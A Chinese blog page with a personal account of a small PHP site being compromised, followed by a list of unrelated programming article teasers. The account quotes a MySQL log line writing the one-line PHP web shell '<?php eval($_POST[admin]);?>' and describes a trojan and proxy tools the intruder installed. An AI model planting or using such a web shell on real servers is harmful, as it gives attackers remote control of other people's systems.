当前位置：首页 > news >正文

一些计算机零碎知识随写（25年1月）-1

news 来源：原创 2025/6/18 18:54:50

我原以为世界上有技术的那批人不会那么闲，我错了，被脚本真实了。

今天正隔着画画呢，手机突然弹出几条安全告警通知。

急忙打开服务器，发现问题不简单，直接关服务器重装系统.....

首先，不要认为小网站，没什么人看就不做防护

互联网不缺乏脚本小子和没啥事喜欢攻击的黑客（在这个时代也不是没有可能是恶意的流窜ai），不要向我一样，认为这个网站没什么人看，什么保护也不加，等到被爆破了才急忙修改，要是生产环境被这么搞一下那就很坏了。（各种意义上的）

因为我是php写的网站，php的漏洞很多是历史遗留问题了，没有很好的代码规范的话那很容易被入侵。

就比如我没有加入文件验证之类的（我当时的想法：不会有人这么闲吧）。

我的思考

php这个语言漏洞太多，对于我来说要么以后补课网络安全php这方面的课程，要么趁早换一门语言。

那名坏笔到底在我服务器干了什么呢？

事情已经发生了，气急败坏不如冷静分析。

首先是恶意上传一个php文件，然后查询了我所有的数据库文件

具体的代码如下

C:\MySQL\bin\mysqld.exe, Version: 5.5.53 (MySQL Community Server (GPL)). started with:
TCP Port: 3306, Named Pipe: MySQL
Time                 Id Command    Argument60 Query	select'<?php eval($_POST[admin]);?>'60 Quit

那很坏了

eval 函数在这种情况下如果被成功执行，明显是具有恶意企图的，可能会导致服务器被攻击者远程控制、执行任意命令等安全风险。

第二个是一个木马病毒

太坏了

根据计算机病毒百科来看这玩意是近几年的开发的病毒。

可能会修改系统的关键文件，造成系统崩溃或无法正常启动。

它可以监控用户的计算机操作，并窃取敏感信息，如银行账户密码、个人隐私等。

所以说病毒什么乱七八糟并不是少了，而是坏笔们不直接打普通电脑了。

最终它干了什么

看样子是想把我服务器当作代理（？不确定。从它后面安装的内网穿透工具和代理工具来看是这样的。

然后正上厕所呢，公安给我打电话来了。

公安备案失败

之前icp备案根据腾讯云的提示操作起来没有过于麻烦，就是写写表（个人是这样，企业的话多一些步骤。）

然后icp过完审核居然还要公安部审核，就不能一起审核吗，真是徒增开发者的麻烦呢。

个人的网站icp备案和公安的表几乎没有什么差别，所以真的很难理解呢！

然后就打电话告诉我说不受理，去自己的户籍地办理去（icp是常驻地）

emm...???

感叹一些地方上的办事效率差，效率低了。

所以你以为我要告诉你个人开发者地址填写的时候要写户籍地icp写常驻地吗？

不啊我的朋友，个人博客要就不申请域名要不就一步到位买国外的好啦！就不用这么多麻烦的手续啦！

一些计算机零碎知识随写（25年1月）-1

我原以为世界上有技术的那批人不会那么闲，我错了，被脚本真实了。今天正隔着画画呢，手机突然弹出几条安全告警通知。急忙打开服务器，发现问题不简单，直接关服务器重装系统..... 首先，不要认为小网站&…...

编程日记 2025/6/3 13:09:24

spring mvc源码学习笔记之十

前面的文章介绍了用 WebApplicationInitializer 或者 AbstractAnnotationConfigDispatcherServletInitializer 来代替 web.xml 。我们学 java web 的时候就知道，servlet 容器会自动加载 web.xml。那么，疑问就来了，WebApplicationInitialize…...

编程日记 2025/5/31 2:56:31

网络安全-安全散列函数，信息摘要SHA-1，MD5原理

安全散列函数单向散列函数或者安全散列函数之所以重要，不仅在于消息认证(消息摘要。数据指纹)。还有数字签名（加强版的消息认证）和验证数据的完整性。常见的单向散列函数有MD5和SHA 散列函数的要求散列函数的目的是文件、消息或者其它数据…...

编程日记 2025/5/29 22:05:30

《解锁计算机视觉智慧：编程实现图片场景文字描述的开源宝藏》

《解锁计算机视觉智慧：编程实现图片场景文字描述的开源宝藏》一、MiniGPT-4：小模型撬动大视觉理解（一）项目概览（二）核心亮点（三）上手体验二、ClipCap-Chinese：中文场景…...

编程日记 2025/6/4 9:47:36

vue封装axios请求

在vue项目中我们发送请求一般是使用axios 我们可以封装axios来避免冗余代码首先引入axios npm install axios创建环境配置文件 NODE_ENV development VITE_APP_TITLE dev VITE_APP_BASE_API /test VITE_SERVE "http://127.0.0.1"上面是创建dev配置文件也可以…...

编程日记 2025/5/26 10:40:30

【前端动效】原生js实现拖拽排课效果

目录 1. 效果展示 2. 效果分析 2.1 关键点 2.2 实现方法 3. 代码实现 3.1 html部分 3.2 css部分 3.3 js部分 3.4 完整代码 4. 总结 1. 效果展示如图所示，页面左侧有一个包含不同课程（如语文、数学等）的列表，页面右侧…...

编程日记 2025/5/30 13:30:19

Python Selenium库入门使用，图文详细。附网页爬虫、web自动化操作等实战操作。

文章目录前言1 创建conda环境安装Selenium库2 浏览器驱动下载（以Chrome和Edge为例）3 基础使用（以Chrome为例演示）3.1 与浏览器相关的操作3.1.1 打开/关闭浏览器3.1.2 访问指定域名的网页3.1.3 控制浏览器的窗口大小3.1.4 前进/后…...

编程日记 2025/6/1 13:55:22

AI华佗？港中大、深圳大数据研究院提出医疗推理大模型HuatuoGPT-o1

编辑 | 白菜叶 OpenAI o1 的突破凸显了通过增强推理能力来提高自然语言大模型（LLM）的应用潜力。然而，大多数推理研究都集中在数学任务上，而医学等领域尚未得到充分探索。医学领域虽然不同于数学，但鉴于医疗保健的高…...

编程日记 2025/6/3 5:55:11

openEuler22.03系统使用Kolla-ansible搭建OpenStack

Kolla-ansible 是一个利用 Ansible 自动化工具来搭建 OpenStack 云平台的开源项目，它通过容器化的方式部署 OpenStack 服务，能够简化安装过程、提高部署效率并增强系统的可维护性。前置环境准备： 系统:openEuler-22.03-LTS-SP4 配置&…...

编程日记 2025/6/2 20:03:53

uni-app无限级树形组件简单实现

因为项目一些数据需要树形展示，但是官网组件没有。现在简单封装一个组件在app中使用，可以无线嵌套，展开，收缩，获取子节点数据等。简单效果组件TreeData <template><view class"tree"><te…...

编程日记 2025/6/2 14:57:15

初学stm32 --- ADC单通道采集

目录 ADC寄存器介绍（F1） ADC控制寄存器 1(ADC_CR1) ADC控制寄存器 2(ADC_CR2) ADC采样时间寄存器1(ADC_SMPR1) ADC采样时间寄存器2(ADC_SMPR2) ADC规则序列寄存器 1(ADC_SQR1) ADC规则序列寄存器 2(ADC_SQR2) ADC规则序列寄存器 3(ADC_SQR3) AD…...

编程日记 2025/5/30 1:08:17

css盒子水平垂直居中

目录 1采用flex弹性布局： 2子绝父相margin：负值： 3.子绝父相margin:auto： 4子绝父相transform： 5通过伪元素 6table布局 7grid弹性布局文字水平垂直居中链接：文字水平垂直居中-CSDN博客以下为盒子…...

编程日记 2025/6/3 13:02:02

django基于Python的智能停车管理系统

1.系统概述 1.定义：Django 基于 Python 的智能停车管理系统是一个利用 Django 框架构建的软件系统，用于高效地管理停车场的各种事务，包括车辆进出记录、车位预订、收费管理等诸多功能。 2.目的：它的主要目的是提高停车场的运营效…...

编程日记 2025/5/31 13:32:23

Rabbit Rocket kafka 怎么实现消息有序消费和延迟消费的

在消息队列系统中，像 RabbitMQ、RocketMQ 和 Kafka 这样的系统，都支持不同的方式来实现消息的有序消费和延迟消费。下面我们分别探讨这些系统中如何实现这两种需求： 1. RabbitMQ：实现消息有序消费和延迟消费有序消费&#xff1…...

编程日记 2025/6/2 16:52:50

Kafka 会丢消息吗？

目录 01 生产者（Producer） 02 消息代理（Broker） 03 消费者（Consumer）来源：Kafka 会丢消息吗？ Kafka 会丢失信息吗？许多开发人员普遍认为，Kafka 的设计本身就能保证不会丢失消息。然而，Kafka 架构和配置的细微差别会导致消息的丢失。我们需要了解它如何以及何时…...

编程日记 2025/6/4 4:55:18

状态模式详解与应用

状态模式（State Pattern），是一种行为型设计模式。它允许一个对象在其内部状态改变时改变它的行为，使得对象看起来似乎修改了它的类。通过将不同的行为封装在不同的状态类中，状态模式可以避免大量的条件判断语句&#x…...

编程日记 2025/5/30 15:18:51

红队工具使用全解析：揭开网络安全神秘面纱一角

红队工具使用全解析：揭开网络安全神秘面纱一角 B站红队公益课：https://space.bilibili.com/350329294 学习网盘资源链接：https://pan.quark.cn/s/4079487939e8 嘿，各位网络安全爱好者们！在风云变幻的网络安全战场上&am…...

编程日记 2025/6/3 12:53:31

【Spring】Redis缓存+ehcache

文章目录基于Spring的RedisehcacheRedis 缓存配置Cacheable 注解CacheEvict 注解缓存配置基于Spring的Redisehcache Redis 缓存配置在项目中添加 Redis 的依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot…...

编程日记 2025/6/4 9:34:23

【硬件介绍】Type-C接口详解

一、Type-C接口概述 Type-C接口特点：以其独特的扁头设计和无需区分正反两面的便捷性而广受欢迎。这种设计大大提高了用户的使用体验，避免了传统USB接口需要多次尝试才能正确插入的问题。Type-C接口内部结构：内部上下两排引脚的设计虽然可能不…...

编程日记 2025/6/2 3:41:50

网络传输层TCP协议

传输层TCP协议 1. TCP协议介绍 TCP（Transmission Control Protocol，传输控制协议）是一个要对数据的传输进行详细控制的传输层协议。 TCP 与 UDP 的不同，在于TCP是有连接、可靠、面向字节流的。具体来说，TCP设置了一大…...

编程日记 2025/6/1 4:51:15

Git 基础——《Pro Git》

⭐获取 Git 仓库获取 Git 仓库有两种方式： 将未进行版本控制的本地目录转换为 Git 仓库。从其他服务器克隆一个已存在的 Git 仓库。在已存在目录中初始化 Git 仓库进入目标目录在 Linux 上：$ cd /home/user/my_project在 macOS 上：$ c…...

编程日记 2025/6/3 17:13:24

数据结构与算法之二叉树: LeetCode 654. 最大二叉树 (Ts版)

最大二叉树 https://leetcode.cn/problems/maximum-binary-tree/ 描述给定一个不重复的整数数组 nums 。最大二叉树可以用下面的算法从 nums 递归地构建: 创建一个根节点，其值为 nums 中的最大值递归地在最大值左边的子数组前缀上构建左子树递归地在最大值…...

编程日记 2025/6/3 15:31:30

学习记录：C++宏定义包含多条语句，使用注意事项

应该使用 do - while(0) 结构的情况在条件语句（如 if - else、switch - case）或循环语句（如 for、while、do - while）中使用宏： 当宏定义包含多条语句且会在上述语句中使用时，使用 do - while(0) 可确保…...

编程日记 2025/6/2 5:13:52

PHP 使用 Redis

PHP 使用 Redis PHP 是一种广泛使用的服务器端编程语言，而 Redis 是一个高性能的键值对存储系统。将 PHP 与 Redis 结合使用，可以为 Web 应用程序提供快速的读写性能和丰富的数据结构。本文将详细介绍如何在 PHP 中使用 Redis，包括安装、连接、基本操作以及一些高级应用。 …...

编程日记 2025/5/31 0:36:30

项目开发实践——基于SpringBoot+Vue3实现的在线考试系统(五)

文章目录一、学生管理模块功能实现1、添加学生功能实现1.1 页面设计1.2 前端功能实现1.3 后端功能实现1.4 效果展示2、学生管理功能实现2.1 页面设计2.2 前端功能实现2.3 后端功能实现2.3.1 后端查询接口实现2.3.2 后端编辑接口实现2.3.3 后端删除接口实现2.4 效果展示二、代码…...

编程日记 2025/6/2 0:01:38

下载并安装MySQL

在Linux系统上下载并安装数据库（以MySQL为例）的步骤如下： 一、下载MySQL 访问MySQL官网打开浏览器，访问MySQL的官方网站：https://www.mysql.com/。进入下载页面在MySQL官网首页，找到并点击“Downloads…...

编程日记 2025/5/29 15:33:30

【C++入门】详解（中）

目录 💕1.函数的重载 💕2.引用的定义 💕3.引用的一些常见问题 💕4.引用——权限的放大/缩小/平移 💕5. 不存在的空引用 💕6.引用作为函数参数的速度之快（代码体现） &#x1f4…...

编程日记 2025/6/3 8:20:08

计算机视觉算法实战——车道线检测

✨个人主页欢迎您的访问 ✨期待您的三连 ✨ ✨个人主页欢迎您的访问 ✨期待您的三连 ✨ ✨个人主页欢迎您的访问 ✨期待您的三连✨ 车道线检测是计算机视觉领域的一个重要研究方向，尤其在自动驾驶和高级驾驶辅助…...

编程日记 2025/6/3 6:37:45

基于http协议的天气爬虫

该系统将基于目前比较流行的网络爬虫技术， 对网站上的天气数据进行查询分析， 最终使客户能够通过简单的操作， 快速， 准确的获取目标天气数据。主要包括两部分的功能， 第一部分是天气数据查询， 包括时间段数…...

编程日记 2025/6/3 7:23:29

自然语言处理基础：全面概述

自然语言处理基础：全面概述什么是NLP及其重要性、NLP的核心组件、NLU与NLG、NLU与NLG的集成、NLP的挑战以及NLP的未来自然语言处理（NLP）是人工智能（AI）中最引人入胜且具有影响力的领域之一。它驱动着我们日常使用的…...

编程日记 2025/5/27 5:36:45

软件架构考试基础知识 002：进程的状态与其切换

进程状态转换的说明在操作系统中，进程的状态表示其当前的执行情况和资源占用情况。进程状态的转换反映了操作系统如何管理和调度进程。以下是进程状态转换的说明： 1. 三态模型（Three-state Model） 三态模型是最基础的进程状态模…...

编程日记 2025/6/1 0:59:38

【Linux系列】Curl 参数详解与实践应用

💝💝💝欢迎来到我的博客，很高兴能够在这里和您见面！希望您在这里可以感受到一份轻松愉快的氛围，不仅可以获得有趣的内容和知识，也可以畅所欲言、分享您的想法和见解。推荐:kwan 的首页,持续学…...

编程日记 2025/6/2 10:23:20

VsCode对Arduino的开发配置

ps：我的情况是在对esp32进行编译、烧录时，找不到按钮，无法识别Arduino文件，适合已经有ini文件的情况。 1.在vscode中安装拓展 2.打开设置，点击右上角，转到settings.json文件 3.复制以下代码并保存 {"…...

编程日记 2025/5/30 21:15:53

【Pandas】pandas Series rtruediv

Pandas2.2 Series Binary operator functions 方法描述Series.add()用于对两个 Series 进行逐元素加法运算Series.sub()用于对两个 Series 进行逐元素减法运算Series.mul()用于对两个 Series 进行逐元素乘法运算Series.div()用于对两个 Series 进行逐元素除法运算Series.true…...

编程日记 2025/6/3 3:56:36

VUE3 自定义指令的介绍

自定义指令的概述在 Vue 中，自定义指令是一种机制，允许开发者在模板中直接操作 DOM 元素，执行一些低级别的操作。Vue 提供了几个内置指令（如 v-if、v-for、v-model 等），但当我们需要一些特定功能时&#…...

编程日记 2025/6/1 20:18:13

安装redisDB 主节点 apt install redis-server修改配置 /etc/redis/redis.conf bind 0.0.0.0save "" # 禁止RDB持久化 #save 900 1 #save 300 10 #save 60 10000appendonly no # 禁止AOF持久化重启服务 systemctl restart redis-server从节点配置文件 bind 0.…...

编程日记 2025/6/3 10:22:59

【汇编】x86汇编编程寄存器资源心中有数

1. CPU状态及控制寄存器 TR，GDTR，LDTRcr0-cr3EFLAGS 等等 2. 业务计算寄存器（我起的名字） 业务寄存器用于访问内存、参数传递、数据传递、计算。段寄存器6个： cs，ds，es，ss&…...

编程日记 2025/5/31 7:03:34

一.项目课题＜基于TCP的文件传输协议实现＞

客户端代码需要cJSON.c文件和cJSON.h文件在这里插入代码片#include "myheadth.h" #include "myfun.h"#define TIME 10 int sockfd; void heartbeat(int signum) {cJSON* root cJSON_CreateObject();cJSON_AddStringToObject(root,"request"…...

编程日记 2025/6/3 10:36:17

【数据结构学习笔记】19：跳表（SkipList）

介绍跳表是一个能在 O ( n l o g n ) O(nlogn) O(nlogn)时间完成查找、插入、删除的数据结构，相比于树形结构优点就是很好写（所以也用于实现Redis ZSet）。其核心思想就是维护一个元素有序的，能随机提升索引层数的链表。最下面一…...

编程日记 2025/5/23 23:21:59

Cocos Creator 3.8 修改纹理像素值

修改的代码： import { _decorator, Component, RenderTexture, Sprite, Texture2D, ImageAsset, SpriteFrame, Vec2, gfx, director, log, math, v2 } from cc;const { ccclass, property } _decorator;ccclass(GradientTransparency) export class GradientTrans…...

编程日记 2025/6/3 17:27:03

【Linux】网络层

目录 IP协议协议头格式网段划分 2中网段划分的方式为什么要进行网段划分特殊的IP地址 IP地址的数量限制私有IP地址和公有IP地址路由 IP协议在通信时，主机B要把数据要给主机C，一定要经过一条路径选择，为什么经过路由器G后&…...

编程日记 2025/6/3 22:13:09

单片机Day1

目录一.什么是单片机？ 二.单片机的组成三.封装形式四.优势五.分类通用型： 专用型： 按处理的二进制位可以分为： 六.应用： 七.发展趋势 1.增加CPU的数据总线宽度。 2.存储器的发展。 3.片内1/0的改进 …...

编程日记 2025/6/1 10:40:51

django基于 Python 的考研学习系统的设计与实现

以下是对Django基于Python的考研学习系统的设计与实现： 一、系统概述 Django基于Python的考研学习系统是一个为考研学子提供一站式学习辅助的平台。它整合了丰富的学习资源、学习计划制定、学习进度跟踪以及交流互动等功能，旨在满足考生在备考过程中的…...

编程日记 2025/6/4 10:57:01

openCvSharp 计算机视觉图片找茬

一、安装包 <PackageReference Include"OpenCvSharp4" Version"4.10.0.20241108" /> <PackageReference Include"OpenCvSharp4.runtime.win" Version"4.10.0.20241108" /> 二、准备两张图片三、编写代码 using OpenCv…...

编程日记 2025/5/30 22:18:22

深入学习 Python 爬虫：从基础到实战

深入学习 Python 爬虫：从基础到实战前言 Python 爬虫是一个强大的工具，可以帮助你从互联网上抓取各种数据。无论你是数据分析师、机器学习工程师，还是对网络数据感兴趣的开发者，爬虫都是一个非常实用的技能。在本文中&#xff…...

编程日记 2025/6/1 5:55:02

【Web安全】SQL 注入攻击技巧详解：UNION 注入（UNION SQL Injection）

【Web安全】SQL 注入攻击技巧详解：UNION 注入（UNION SQL Injection） 引言 UNION注入是一种利用SQL的UNION操作符进行注入攻击的技术。攻击者通过合并两个或多个SELECT语句的结果集，可以获取数据库中未授权的数据。这种注入技术要…...

编程日记 2025/6/2 3:42:22

【DAPM杂谈之一】DAPM作用与内核文档解读

本文主要分析DAPM的设计与实现内核的版本是：linux-5.15.164，下载链接： Linux内核下载主要讲解有关于DAPM相关的知识，会给出一些例程并分析内核如何去实现的 /****************************************************************…...

编程日记 2025/6/2 10:20:45